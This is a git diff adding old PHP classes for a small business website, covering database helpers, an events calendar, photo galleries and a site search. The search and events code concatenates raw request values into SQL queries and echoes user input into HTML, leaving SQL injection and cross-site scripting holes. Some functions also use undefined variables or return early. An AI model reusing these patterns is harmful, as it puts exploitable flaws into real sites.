+               /** db_auto_exec
+                 The auto function for executing a query.                              
+                 This function makes the connection, does the exec, fetches            
+                 the array, closes the connection, frees memory used by the result,    
+                 and then returns success (not a valid result index)                   
+                 @param $qs    SQL query string                                
+                 @returns int - Returns 1 for success 0 for failure                    
+                */
+
+               function db_auto_exec( $qs )
+               {
+                       $this->db_connect();
+                       if( !$this->dbd )
+                       {
+                               return( 0 );
+                       }
+                       if( !$this->db_exec( $qs ) )
+                       {
+                               return( 0 );
+                       }
+                       else 
+                       {
+                               return( 1 );
+                       }
+               }
+               /** db_auto_get_data
+                 @discussion   The auto function for retrieving an array based soley on a query        
+                 string. This function makes the connection, does the exec, fetches    
+                 the array, closes the connection, frees memory used by the result,    
+                 and then returns the array                                            
+                 @param string $qs     SQL query string                                
+                 @returns      Returns an associative array of key-value pairs or 0 on error   
+                */
+
+               function db_auto_get_data( $qs ) 
+               {
+                       if( !$this->dbd )
+                       {
+                               $this->db_connect();
+                       }
+                       if( !( $res = $this->db_exec( $qs ) ) )
+                       {
+                               return( FALSE );
+                       }
+                       $totalrows = pg_NumRows( $res );
+                       for( $i = 0 ; $i < $totalrows ; $i++ )
+                       {
+                               $data[$i] = $this->db_fetch_array ($res, $i, PGSQL_ASSOC );
+                       }
+                       if( isset( $data ) && $data != "" )     
+                       {
+                               return( $data );
+                       }
+                       else
+                       {
+                               return( 0 );
+                       }
+               }
+
+               /** trans_start
+                 Start a postgres transaction 
+                 @returns bool true if sucessful
+                */
+               function trans_start()
+               {
+                       if( !$this->trans )
+                       {
+                               if( !$this->dbd = $this->db_connect() )
+                               {
+                                       $this->trans = false;
+                                       return( false );
+                               }
+                               else
+                               {
+                                       $this->db_exec( "BEGIN WORK;" );
+                                       $this->trans = true;
+                                       return( true );
+                               }
+                       }
+                       else
+                       {
+                               return( true );
+                       }
+               }
+
+               /** trans_end
+                 Commit the postgres transaction  
+                 @returns bool true if successful
+                */
+               function trans_end()
+               {
+                       if( !$this->trans )
+                       {
+                               if(!$this->db_exec( "COMMIT WORK;" ) )
+                               {
+                                       return( false );
+                               }
+                               else
+                                       return( true );
+                       }
+                       else
+                               return( false );
+               }
+               /** trans_exec
+                 exec a postgres query in a 
+                 postgres transaction
+                 @param string query 
+                */
+               function trans_exec( $query )
+               {
+                       if( $query != "" )
+                       {
+                               if(!$ret = $this->db_exec( $query ) )
+                               {
+                                       $this->db_exec( "ABORT WORK;" );
+                                       return( false );
+                               }
+                               else
+                               {
+                                       return( $ret );
+                               }
+                       }
+                       else
+                       {
+                               return( false );
+                       }
+               }
+       }
+?>
diff --git a/classes/class_events.inc b/classes/class_events.inc
new file mode 100755 (executable)
index 0000000..0655b56
--- /dev/null
@@ -0,0 +1,510 @@
+<?php
+require_once(BASE.'classes/class_db.inc');
+require_once(BASE.'classes/class_template.inc');
+class GLM_EVENTS extends GLM_TEMPLATE{
+       /** @var int topicid */
+       var $topicid;
+       var $page_name;
+
+       function GLM_EVENTS( $topicid )
+       {
+               parent::GLM_TEMPLATE( $topicid );
+               $this->topicid = $topicid;
+               $this->page_name = $GLOBALS['PHP_SELF'];
+       }
+       
+       // date helper funcs
+       function lastDayOfMonth($timestamp = '')
+       {
+          if($timestamp=='') $timestamp=time();
+          return(
+              mktime(0,0,0,
+                  date("m",$timestamp)+1,
+                  1,
+                  date("Y",$timestamp)
+              )-3600*24);
+       }
+
+       function firstDayOfMonth($timestamp=''){
+          if($timestamp=='') $timestamp=time();
+          return(mktime(0,0,0,
+              date("m",$timestamp),
+              1,
+              date("Y",$timestamp)
+          ));
+       }
+       
+       // end date helper
+       
+       
+       function get_by_topic($topic)
+       {
+               // method fetches events based on topic id
+               
+               if(!$year)
+                       {
+                               $year = date("Y");
+                       }
+               if(!$month || $month == "All")
+                       {
+                               $month = date("n");     
+                       }
+               if(ereg("^0([0-9]).*",$month,$part))
+                       $month = $part[1];
+               $st = mktime(0,0,0,$month,1,$year);
+               $starting = date("m-d-Y",$this->firstDayOfMonth($st));
+               $ending = date("m-d-Y",$this->lastDayOfMonth($st));
+               
+               $query = "SET DATESTYLE TO 'SQL,US';
+               SELECT          id,header,
+                       date_part('month',bdate) as mon,
+                       date_part('day',bdate) as day,
+                       date_part('year',bdate) as yr,
+                       date_part('month',edate) as mon2,
+                       date_part('day',edate) as day2,
+                       date_part('year',edate) as yr2,
+                       bdate as sdate, edate as edate,
+                       btime,etime,descr,loc,contact,email,url,img,daysow,reacur
+                       FROM            event
+                       WHERE           visable = 't'";
+                       
+                       $topqs=" AND topicid = $topic ";
+                       
+                       if($topic!='All')
+                       {
+                               $query.=$topqs;
+                       }
+               //$query .= "AND        bdate <= '$ending' AND edate >= '$starting' ";
+               $query .= "ORDER BY     bdate DESC,btime ASC";
+               $events_data = $this->DB->db_auto_get_data($query);
+               return $events_data;
+       }
+
+       /**
+       * getEventSearch:
+       * 
+       * @return 
+       * @access 
+       **/
+       function get_event_search( $cal = 0 )
+       {
+
+               unset($emonths);
+               $month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+
+               // Set up the $selection array to get a query box use only item fields
+               $selection = array( );
+
+               if( $this->topicid != 24 && $this->topicid != 'All' && $this->topicid != '' )
+               {
+                       $topic_qs = ' and topicid = '.$this->topicid; 
+               }
+
+               // Month part do not change
+               $qs = "SELECT   bdate,date_part('month', bdate) as d1_month,
+               date_part('month', edate) as d2_month,
+               date_part('year', bdate) as d1_year,
+               date_part('year', edate) as d2_year
+               FROM    event
+               WHERE   edate >= CURRENT_DATE
+               $topic_qs
+               AND     visable = 't'
+               ORDER BY bdate ASC;";
+
+               $result = $this->DB->db_exec($qs);
+
+               $page = BASE_URL.'events.phtml';
+
+               for($i=0;$i<pg_numrows($result);$i++) 
+               {
+                       $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC); 
+                       $s_month = $data['d1_month'];
+                       $s_year = $data['d1_year'];
+                       $e_month = $data['d2_month'];
+                       $e_year = $data['d2_year'];
+
+                       $watchdog = 20; 
+                       for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; ) 
+                       {
+                               if( $m == 13 ) 
+                               {
+                                       $y++;
+                                       $m = 1;
+                               }
+
+                               $emonth = sprintf( "%02d %04d", $m, $y );
+                               if( !isset($emonths["$emonth"]) )
+                               {
+                                       $emonths["$emonth"] = 0;
+                               }
+                               $emonths["$emonth"]++;
+
+                               if( $watchdog-- == 0 )
+                               {
+                                       break 1;
+                               }
+                               $m++;
+                       }
+               }
+
+               // Selections part
+               while( list($key,$value) = each($selection)) 
+               {
+                       $qs = "SELECT  
+                       DISTINCT $key
+                       FROM    event
+                       WHERE   visable = 't'
+                       AND             edate >= CURRENT_DATE
+                       $topic_qs
+                       ORDER BY $key;";
+
+                       $result = $this->DB->db_exec($qs);
+
+                       echo "<select name=\"$key\">";
+
+                               for ($i=0;$i<pg_numrows($result);++$i) 
+                               {
+                                       $data = pg_result($result,$i,$key);
+                                       if($data != "") 
+                                       {
+                                               echo "<option value=\"$data\">$data\n"; 
+                                       }
+                               }
+
+                               echo "</select>\n";
+               }
+               echo '<br><a name="event"></a> ';
+               if( !$cal )
+               {
+                       // topic part 
+                       $qs = "SELECT   
+                       DISTINCT        ON (t.descr) t.id,t.descr  
+                       FROM    topic t, event e
+                       WHERE   e.visable = 't'
+                       AND             e.edate >= CURRENT_DATE
+                       AND             e.topicid = t.id        
+                       $topic_qs
+                       ORDER BY t.descr";
+
+                       $result = $this->DB->db_exec($qs);
+
+                       // form header 
+                       echo '<div style="display:block;float:left;width:350px;"><form action="'.$page.'#event" method="POST">';
+                       echo 'Search By Topic: <select name="topic">
+                               <option value="All" selected>Show All Topics';
+
+                               for ($i=0;$i<pg_numrows($result);++$i) 
+                               {
+                                       $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC);
+                                       if($data != "") 
+                                       {
+                                               echo "<option value=\"$data[id]\">$data[descr]\n"; 
+                                       }
+                               }
+
+                       echo "</select>\n";
+                       echo '<input type="SUBMIT" value="GO" name="SUBMIT">';
+                       echo '</form></div>';
+               }
+               // Month part (output)
+               $month_qs = "SELECT 
+               DISTINCT        bdate
+               FROM            event
+               WHERE           visable = 't'
+               AND             edate >= CURRENT_DATE
+               ORDER BY        bdate;";        
+
+               $result = $this->DB->db_exec($month_qs);
+
+               echo '<div style="display:block;float:left;width:350px;"><form action="'.$page.'#event" method="POST" style="display:block;float:left;width:250px;">';
+               echo "By Month: <select name=\"month\">";
+               //echo '<option value="">Show All Month</option>';
+                       if(isset($emonths) && is_array($emonths)) 
+                       {
+                               for(reset($emonths);$key=key($emonths);next($emonths)) 
+                               {
+                                       $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+                                       $now = mktime(0,0,0,date("m"),1,date("Y"));
+                                       if($date>=$now) 
+                                       {
+                                               echo "<option value=\"$key\">";
+                                               $m = substr( $key, 0, 2 );
+                                               echo $month_id[$m-1]." ".substr($key,3,4)."\n";
+                                       }
+                               }
+                       }
+               echo '</select>';
+               echo '<input type="SUBMIT" value="GO" name="SUBMIT">';
+               echo '</form></div><br clear="all">';
+       }
+       /**
+       * get_events:
+       * @param $type: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function get_events()
+       {
+               if( $_POST['month'] )
+               {
+                       $month = (int)substr($_POST['month'],0,2);
+                       $year = (int)substr($_POST['month'],3,6);
+               }
+               elseif( $_GET['month'] )
+               {
+                       $month = (int)$_GET['month'];
+                       $year = (int)$_GET['year'];
+               }
+               else
+               {
+                       $month = (int)date("m");
+                       $year = (int)date("Y");
+               }
+               $GLOBALS['month'] = $month;
+               $GLOBALS['year'] = $year;
+
+               require_once(BASE."classes/glm-Events-calendar-2-0.phtml");
+               if(!$GLOBALS["eventid"])
+               {
+                       $this->get_event_search();
+                       calendar($month,$year,2,$this->page_name.'?catid=24&amp;event=1&amp;month=',$this->page_name.'?catid=24&amp;event=1&amp;eventid=1&amp;month='.$month,$newdata);
+               }
+               else
+               {
+                       //      include("classes/glm-Events-2-0.phtml");
+                       $qs="SET DATESTYLE TO 'SQL,US';SELECT * FROM event WHERE id = ".$GLOBALS["eventid"];
+
+                       $row=$this->DB->db_auto_get_data($qs);
+                       echo $this->make_events($row);
+                       $this->get_event_search();
+                       calendar($month,$year,2,$this->page_name.'?catid=24&amp;event=1&amp;month=',$this->page_name.'?catid=24&amp;eventid=1&month='.$month,$newdata);
+                       //      echo '<div align="center"><a href="./">Back to Calendar</a></div>';
+               }       
+
+       }
+       /**
+       * make_events:
+       * @param $row: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function make_events($row)
+       {
+               //$event='<br>'."\n";
+               $event='<div class="eventcontainer">'."\n";
+                       for($i=0;$i<sizeof($row);$i++)
+                       {
+                               // Header
+                               $event.="<div class=\"eventheader\">".$row[$i][header]."</div>";
+
+
+
+                               // Date
+                               if($row[$i][bdate]!='')
+                               {
+                                       $event.='<div><span class="eventdate">';
+                                                       $sdate = strtotime($row[$i]["bdate"]);
+                                                       $edate = strtotime($row[$i]["edate"]);
+                                                       $thedate = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+                                                       $event.=$thedate;
+                                                       /*
+                                                       $event.= date('M d, Y',strtotime($row[$i][bdate]));
+                                                       if($row[$i][edate]!='' && $row[$i][edate]!=$row[$i][bdate])
+                                                       {
+                                                               $event.=" - ".date('M d, Y',strtotime($row[$i][edate]));
+                                                       }
+                                                       */
+                                                       $event.="</span></div>\n";
+                               }
+
+                               // time
+                               $days[1] = "Sundays";
+                               $days[2] = "Mondays";
+                               $days[4] = "Tuesday";
+                               $days[8] = "Wednesdays";
+                               $days[16] = "Thursdays";
+                               $days[32] = "Fridays";
+                               $days[64] = "Saturdays";
+                               if($row[$i][btime])
+                               {
+                                       if($row[$i]['btime'] && $row[$i]['etime']) 
+                                       {
+                                               $time = "".$this->format_to_time($row[$i]['btime'])." to ".$this->format_to_time($row[$i]['etime'])."<br>";             
+                                       }
+                                       elseif($row[$i]['btime'] && !$row[$i]['etime']) 
+                                       {
+                                               $time = "@ ".$this->format_to_time($row[$i]['btime'])."<br>";           
+                                       }
+                                       else 
+                                       {
+                                               $time = "";             
+                                       }
+                                       $event.=$time;
+                               }
+                               if( $row[$i]['reacur']  == 't')
+                               {
+                                       if($row[$i]["weekom"])
+                                       {
+                                               switch($row[$i]["weekom"])
+                                               {
+                                                       case 1:
+                                                       $reacur .= "1st ";
+                                                       break;
+
+                                                       case 2:
+                                                       $reacur .= "2nd ";
+                                                       break;
+
+                                                       case 3:
+                                                       $reacur .= "3rd ";
+                                                       break;
+
+                                                       case 4:
+                                                       $reacur .= "4th ";
+                                                       break;
+
+                                               }
+                                       }
+                                       if( $row[$i]['daysow'])
+                                       {
+                                               $ri = 1;
+                                               for($r=1;$r<8;$r++)
+                                               {
+                                                       if($row[$i]["daysow"]&$ri)
+                                                       $reacur .= $days[$ri];
+                                                       $ri = $ri << 1;
+                                               }
+                                       }
+                                       $event.=$reacur;
+                               }
+                               // Location
+                               if($row[$i][loc]!='')
+                               {
+                                       $event.='<div><span class="eventloc">Location: </span><span class="eventvalue">';
+                                                       $event.=$row[$i][loc];
+                                                       $event.="</span></div>\n";
+                               }
+
+                               // URL
+                               if($row[$i][url]!='')
+                               {
+                                       $event.='<div><span class="eventurl">URL: </span><span class="eventvalue">';
+                                                       $event.='<a href="http://'.$row[$i][url].'" target="_blank">'.$row[$i][url].'</a>';
+                                                       $event.="</span></div>\n";
+                               }
+                               // FILE
+                               if($row[$i]['file']!='')
+                               {
+                                       $filename = ($row[$i]['filename']) ? $row[$i]['filename'] : $row[$i]['file'];
+                                       $event.='<div><span class="eventurl">File:</span><span class="eventvalue">';
+                                                       $event.='<a href="'.BASE_URL.'uploads/'.$row[$i]["file"].'" target="_blank">'.$filename.'</a>';
+                                                       $event.="</span></div>\n";
+                               }
+
+                               // Image
+                               if($row[$i][img]!='')
+                               {
+                                       $image = $row[$i][img];
+                                       if( is_file( ORIGINAL_PATH.$image ) )
+                                       {
+                                               $size = getImageSize( ORIGINAL_PATH.$image );
+                                               $width = $size[0];
+                                               $height = $size[1];
+                                       }
+                                       $event.='<div class="eventimg1">
+                                               <a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$image.'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);">       
+                                                       <img alt="'.$image.'" title="'.$image.'" src="'.MIDSIZED.$image.'" border="0">
+                                               </a>
+                                       </div>'."\n";
+                               }                               
+
+                               // Description
+                               if($row[$i][descr]!='')
+                               {
+                                       $event.='<div class="eventdescr">';
+                                               $event.=nl2br($row[$i][descr])."<BR>";
+                                               $event.="</div>\n";
+                               }
+
+
+                               // Description2
+                               if($row[$i][descr2]!='')
+                               {
+                                       $event.='<div class="eventdescr">';
+                                               $event.=nl2br($row[$i][descr2])."<BR>";
+                                               $event.="</div>\n";
+                               }
+
+                               // Image
+                               if($row[$i][img2]!='')
+                               {
+                                       $event.='<div class="eventimg2"><img src="'.THUMB.$row[$i][img2].'"></div>'."\n";
+                               }
+                               // Image
+                               if($row[$i][img3]!='')
+                               {
+                                       $event.='<div class="eventimg3"><img src="'.THUMB.$row[$i][img3].'"></div>'."\n";
+                               }
+
+                               // Description3
+                               if($row[$i][descr3]!='')
+                               {
+                                       $event.='<div class="eventdescr">';
+                                               $event.=nl2br($row[$i][descr3])."<BR>";
+                                               $event.="</div>\n";
+                               }
+
+                               // Contact
+                               if($row[$i][contact]!='')
+                               {
+                                       $event.='<div><span class="eventcontact">Contact Information: </span><br><span class="eventvalue">';
+                                                       $event.=$row[$i][contact];
+                                                       $event.="</span></div>\n";
+                               }
+
+                               // E-mail
+                               if($row[$i][email]!='')
+                               {
+                                       $event.='<div><span class="eventemail">E-Mail: </span><span class="eventvalue">';
+                                                       $event.='<a href="mailto:'.$row[$i][email].'">'.$row[$i][email].'</a>';
+                                                       $event.="</span></div>\n";
+                               }
+
+                               // Phone
+                               if($row[$i][phone]!='')
+                               {
+                                       $event.='<div><span class="eventphone">Phone: </span><span class="eventvalue">';
+                                                       $event.=$row[$i][phone];
+                                                       $event.="</span></div>\n";
+                               }
+
+
+
+
+                               //Seperator
+                               //      $event.="<span class=\"bold\"><hr></hr></span>";
+                               $event.="</div><br clear=\"all\">";
+               }
+               return $event;
+       }
+
+       /**
+        * format_to_time:
+        * @param $time: 
+        * 
+        * @return 
+        * @access 
+        **/
+       function format_to_time($time)
+       {
+               return($time);
+
+               $timestamp = strtotime("today $time");
+               $newtime = date("g:i A",$timestamp); 
+               return($newtime);
+       }
+
+}
+?>
diff --git a/classes/class_photos.inc b/classes/class_photos.inc
new file mode 100755 (executable)
index 0000000..293b5df
--- /dev/null
@@ -0,0 +1,161 @@
+<?php
+require_once(BASE.'classes/class_db.inc');
+require_once(BASE.'classes/class_template.inc');
+class GLM_PHOTOS extends GLM_TEMPLATE{
+       var $pcatid;
+
+       /**
+          * GLM_PHOTOS: constructor of the class
+          * 
+          * @return void 
+          * @access abstract
+          **/
+       function GLM_PHOTOS()
+       {
+               parent::GLM_TEMPLATE(NULL);
+       }
+
+       /**
+        * get_photo_cats: get the photo categories for this catid
+        * @param $catid: the parent id of the photo catid
+        * 
+        * @return string $output
+        * @access public
+        **/
+       function getPhotoCats($catid)
+       {
+               $output = '';
+               $query2 = "SELECT * FROM bus_category WHERE parent = ".$catid." and active = 't' order by pos";
+               $data2 = $this->DB->db_auto_get_data($query2);
+               if(is_array($data2))
+               {
+                       $count = 0;
+                       foreach($data2 as $key=>$value)
+                       {
+                               if($value['image'])
+                               {
+                                       $url = GLM_TEMPLATE::get_seo_url($value['id']);
+                                       $output .= '<div class="thumb"><div
+                                                       class="photocattitle">'.$value["category"].'</div><a
+                                                       href="'.$url.'"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a></div>';
+                               }
+                               if(++$count == 4)
+                                       $output .= '<br clear="all">';
+                       }
+               }
+               return($output);
+       }
+       
+
+       /**
+        * get_photos: get the photo items for the catid
+        * @param $catid: the photo catid
+        * 
+        * @return string $output
+        * @access public
+        **/
+       function getPhotos($catid)
+       {
+               $output = '';
+               $query2 = "SELECT       b.id,b.name,b.image FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON
+                       (bcb.busid = b.id) WHERE bcb.catid = $catid order by bcb.pos";
+               $data2 = $this->DB->db_auto_get_data($query2);
+               if(is_array($data2))
+               {
+                       $count = 0;
+                       foreach($data2 as $key=>$value)
+                       {
+                               if($value['image'])
+                               {
+                                       if(file_exists(ORIGINAL_PATH.$value['image']))
+                                       {
+                                               $size2 = getimagesize(ORIGINAL_PATH.$value['image']);
+                                               $width = $size2[0] + 0;
+                                               $height = $size2[1] + 0;
+                                       }
+                                       /*
+                                       $output .= '<div class="thumb"><a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$value['image'].'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a><div class="phototitle">'.$value["name"].'</div></div>
+                                       ';
+                                       */
+                                       $url = GLM_TEMPLATE::get_seo_url(5);
+                                       if( SEO_URL )
+                                       {
+                                               $url .= GLM_TEMPLATE::set_name_url($value['name']).'-'.$value['id'].'/';
+                                       }
+                                       else
+                                       {
+                                               $url .= '&amp;id='.$value['id'];
+                                       }
+                                       $output .= '<div class="thumb"><a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$value['image'].'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a><div class="phototitle">'.$value["name"].'</div></div>
+                                       ';
+                                       /*
+                                       $output .= '<div class="thumb"><a href="'.$url.'"><img border="0" src="'.THUMB.$value["image"].'"
+                                                       alt="'.$value["image"].'"></a><div class="phototitle">'.$value["name"].'</div></div>
+                                       ';
+                                       */
+                               }
+                               if(++$count == 4)
+                               {
+                                       $output .= '<br clear="all">
+                                       ';
+                               $count = 0;
+                               }
+                       }
+               }
+               return($output);
+       }
+
+
+
+       /**
+        * getPhotoDetails:
+        * @param $$id : 
+        * 
+        * @return 
+        * @access 
+        **/
+       function getPhotoDetails( $id )
+       {
+               $output = '';
+               $query2 = "SELECT       b.id,b.name,b.image FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON
+                       (bcb.busid = b.id) WHERE bcb.catid = $catid order by bcb.pos";
+               $data2 = $this->DB->db_auto_get_data($query2);
+               if(is_array($data2))
+               {
+                       $count = 0;
+                       foreach($data2 as $key=>$value)
+                       {
+                               if($value['image'])
+                               {
+                                       if(file_exists(ORIGINAL_PATH.$value['image']))
+                                       {
+                                               $size2 = getimagesize(ORIGINAL_PATH.$value['image']);
+                                               $width = $size2[0] + 0;
+                                               $height = $size2[1] + 0;
+                                       }
+                                       $url = GLM_TEMPLATE::get_seo_url(5);
+                                       if( SEO_URL )
+                                       {
+                                               $url .= GLM_TEMPLATE::set_name_url($value['name']).'-'.$value['id'].'/';
+                                       }
+                                       else
+                                       {
+                                               $url .= '&amp;id='.$value['id'];
+                                       }
+                                       $output .= '<div class="thumb"><img border="0" src="'.THUMB.$value["image"].'"
+                                                       alt="'.$value["image"].'"><div class="phototitle">'.$value["name"].'</div></div>
+                                       ';
+                               }
+                               if(++$count == 4)
+                               {
+                                       $output .= '<br clear="all">
+                                       ';
+                               $count = 0;
+                               }
+                       }
+               }
+               return($output);
+       }
+
+}
+?>
diff --git a/classes/class_search.inc b/classes/class_search.inc
new file mode 100755 (executable)
index 0000000..7af5b9d
--- /dev/null
@@ -0,0 +1,346 @@
+<?php
+// $Id: class_search.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+/** @class seach glm-search engine for the category/business_listing
+   This class was made to provide a search page for 
+  our event,business_listing,newsletter databases
+ */
+class search{
+       /** @var -*/
+       var $parentshow; // array containting the catids and parentids
+       /** @var pages */
+       var $pages;
+       /** @var eventquery */
+       var $eventquery;
+       /** @var bussyquery */
+       var $bussyquery;
+       /** @var newsyquery */
+       var $newsyquery;
+       /** @var sr */
+       var $sr;
+       /** @var p */
+       var $p;
+       /** @var results */
+       var $results;
+       /** @var threads */
+       var $threads;
+       var $type;
+
+       /** search
+          constructor function
+         @param none
+         @returns none
+        */
+       function search()
+       {
+               $this->newsyquery = ""; 
+               $this->bussyquery = "";
+               $this->eventquery = "";
+               $this->pages = array();
+               $this->parentshow = array();
+               $this->type = "general";
+       }
+
+       /** set_events
+          Sets up the query for the event search
+         @param none
+         @returns none
+        */
+       function set_events()
+       {
+               $eventf[] = "e.header".$this->sr;
+               $eventf[] = "e.descr".$this->sr;
+               $eventf[] = "e.loc".$this->sr;
+               $eventf[] = "e.contact".$this->sr;              
+               $this->eventquery = "SELECT     e.* 
+                       FROM    event e
+                       WHERE   ";
+               $eevent = implode(" OR ",$eventf);                         
+               $this->eventquery .= $eevent;
+       }
+
+       /** set_bus
+          Sets the query for the business_listing db search
+         @param none
+         @returns none
+        */
+       function set_bus()
+       {
+               $busf[] = "b.name".$this->sr;
+               $busf[] = "b.description".$this->sr;
+               $busf[] = "b.city".$this->sr;
+               $busf[] = "b.state".$this->sr;
+               $busf[] = "b.zip".$this->sr;
+               $busf[] = "b.phone".$this->sr;
+               $busf[] = "b.fax".$this->sr;
+               $busf[] = "b.email".$this->sr;
+               $buscatf[] = "bc.category".$this->sr;
+               $buscatf[] = "bc.description".$this->sr;
+               $buscatf[] = "bc.intro".$this->sr;
+               $this->bussyquery = "SELECT DISTINCT ON (bc.category) bc.*, b.*,bc.id as catid
+                       FROM    (bus_category bc LEFT OUTER JOIN bus_category_bus bcb ON (bcb.catid = bc.id)) 
+                       LEFT OUTER JOIN bus b ON (b.id = bcb.busid)
+                       WHERE   (";
+                                       $ebus = implode(" OR ",$busf);
+                                       $ebuscat = implode(" OR ",$buscatf);
+                                       $this->bussyquery .= $ebus." OR ".$ebuscat.")";
+                                       }
+
+       /** set_news
+          Sets the newsletter query for the search
+         @param none
+         @returns none
+        */
+       function set_news()
+       {
+       $newsf[] = "n.title".$this->sr;
+       $newsf[] = "n.header".$this->sr;
+       $newsf[] = "n.description".$this->sr;
+       $newsblockf[] = "nb.header".$this->sr;
+       $newsblockf[] = "nb.description".$this->sr;
+       $this->newsyquery = "SELECT   n.*, nb.* 
+       FROM    news n LEFT OUTER JOIN news_block nb ON (n.id = nb.news_id) 
+       WHERE   ";
+
+       $enews = implode(" OR ",$newsf);                                   
+       $enewsblock = implode(" OR ",$newsblockf);
+       $this->newsyquery .= $enews." OR ".$enewsblock;
+       }
+
+       /** set_query
+          calls the queries for events,bus,and the newsletter
+         @param none
+         @returns none
+        */
+       function set_queries()
+       {
+               $this->set_events();
+               $this->set_bus();
+               $this->set_news();      
+       }
+
+       /** posted
+          Sets sr variable with the POST var search
+         @param none
+         @returns none
+        */
+       function posted()
+       {
+               if($_POST && $_POST["search"])
+               {
+                       //$this->show_form();   
+                       if($_POST["search"])
+                               $this->sr = " ~* '".$_POST["search"]."'";       
+                       $this->set_queries();   
+                       $this->execute_search();        
+               }       
+               else
+               {
+                       //$this->show_form();   
+               }
+       }
+
+       /** show_form
+          Outputs the form for the search
+         @param none
+         @returns none
+        */
+       function show_form()
+       {
+               ?>
+                       <script src="verify.js"></script>       
+                       <form action="<?echo $GLOBALS["PHP_SELF"]?>" method="POST" onSubmit="
+                       this.search.optional = false;
+               this.search.r = 'Search Field';
+               return(verify(this));
+               ">
+                       <select name="type">
+                       <?
+                       //$type[] = "Events";
+                       //$type[] = "Categories";
+                       //$type[] = "Newsletter";
+                       //$general = 0;
+                       foreach($this->pages as $key=>$data)
+                       {
+                               if(!is_numeric($key))
+                               {
+                                       echo "<option value=\"$key\">".ucfirst($key);   
+                               }
+                               else
+                               {
+                                       $general = 1;   
+                               }
+                       }       
+               if($general)
+                       echo "<option value=\"general\">General Categories";
+               ?>
+                       </select>
+                       <input name="search">
+                       <input type="submit" name="Command" value="Search">
+                       </form> 
+                       <?
+       }
+
+       /** execute_search
+          Sends the queries to to database
+         @param none
+         @returns none
+        */
+       function execute_search()
+       {
+               extract($_POST);
+               $qs = "";       
+               switch($this->type)
+               {
+                       case "events"://Events
+                               $qs = $this->eventquery;
+                       $qs .= " AND edate > CURRENT_DATE"; 
+                       $href = $this->pages["events"];
+                       break;
+
+                       case "general"://General
+                               $qs = $this->bussyquery;
+                       break;
+
+                       case "newsletter"://Library
+                               $qs = $this->newsyquery;
+                       $href = $this->pages["newsletter"];   
+                       break;  
+
+                       default:
+                       html_error("All",1);
+                       break;
+               }       
+
+               //echo $qs;
+               $this->result = db_auto_get_data($qs,CONN_STR);
+               if($this->result != "")
+               {
+                       echo "<div class=\"bodytext\"> Found ".count($this->result);
+                       if(count($this->result)>1)
+                               echo " matches for \"".$search."\"";
+                       else
+                               echo " match for \"".$search."\"";
+                       echo "</div><br>";
+               }
+               else
+               {
+                       echo "<div class=\"bodytext\"> No Matches</div>";       
+               }
+               if($this->type == "general")
+               {
+                       if($this->result != "")
+                       {
+                               foreach($this->result as $key=>$data)
+                               {
+                                       $this->threads[] = array(
+                                                       "ID" => $data[catid],
+                                                       "content" => $data[category],
+                                                       "parent" => $data[parent]
+                                                       );      
+                               }       
+                       }
+               }
+               elseif($this->type == "events")
+               {
+                       if($this->result != "")
+                       {       
+                               foreach($this->result as $key=>$data)   
+                               {
+                                       printf("<a class=\"frontnews\" href=\"%s?id=%s&month=All\">%s</a><br>",$href,$data[id],$data[header]);          
+                               }
+                       }
+               }
+               elseif($this->type == "newsletter")
+               {
+                       if($this->result != "")
+                       {       
+                               foreach($this->result as $key=>$data)   
+                               {
+                                       printf("<a class=\"frontnews\" href=\"%s\">%s</a><br>",$href,$data[title]);             
+                               }
+                       }
+               }
+
+               if(is_array($this->threads))
+               {
+                       $this->get_parentshow();
+                       $output = $this->printout($this->threads);
+                       echo $output;   
+               }
+       }
+
+       /** get_parent
+          Finds the parent.  Will traverse up until it reaches top of
+         chain.
+         @param id  - The catid to find parent of
+         @returns Parent - The parent id
+        */
+       function get_parent($id)
+       {
+               if($id == 0)
+                       return(0);              
+               if($this->parentshow[$id]['parent'] != "")
+               {
+
+                       $test = $this->parentshow[$id]['parent'];
+                       if($test === 0)
+                       {               
+                               return($id);                    
+                       }               
+                       else
+                       {               
+                               $id = $this->get_parent($test);
+                       }
+                       if($id == 0)
+                               return($test);          
+                       return($id);
+               }
+               return($id);
+       }
+
+       /** get_parentshow
+          Sets the array parentshow with all categories.
+         @param none
+         @returns none
+        */
+       function get_parentshow()
+       {
+               $qs = "SELECT   id,parent,category
+                       FROM            bus_category";
+
+               $parentrow = db_auto_get_data($qs,CONN_STR);      
+
+               foreach($parentrow as $key=>$value)
+               {
+                       $this->parentshow[$value[id]] = $value[parent];
+               }       
+       }
+
+       /** printout
+          Print the results out as links to their pages.
+         @param none
+         @returns none
+        */
+       function printout()
+       {
+               if(is_array($this->threads))
+               {
+                       foreach($this->threads as $key=>$value)
+                       {       
+                               $p = $this->get_parent($value[ID]);     
+                               if($p!=1)
+                               {
+                                       $string .= "<a class=\"link2\"
+                                               href=\"products.phtml?catid=$value[ID]\"><b>".$value[content]."</b></a><br>";
+                               }
+                               else
+                               {
+                                       $string .= "<a class=\"link2\"
+                                               href=\"index.phtml\"><b>".$value[content]."</b></a><br>";
+                               }
+                       }
+                       echo $string;
+               }
+       }
+}
+?>
diff --git a/classes/class_staff.inc b/classes/class_staff.inc
new file mode 100755 (executable)
index 0000000..1ae48e6
--- /dev/null
@@ -0,0 +1,149 @@
+<?php
+require_once(BASE.'classes/class_db.inc');
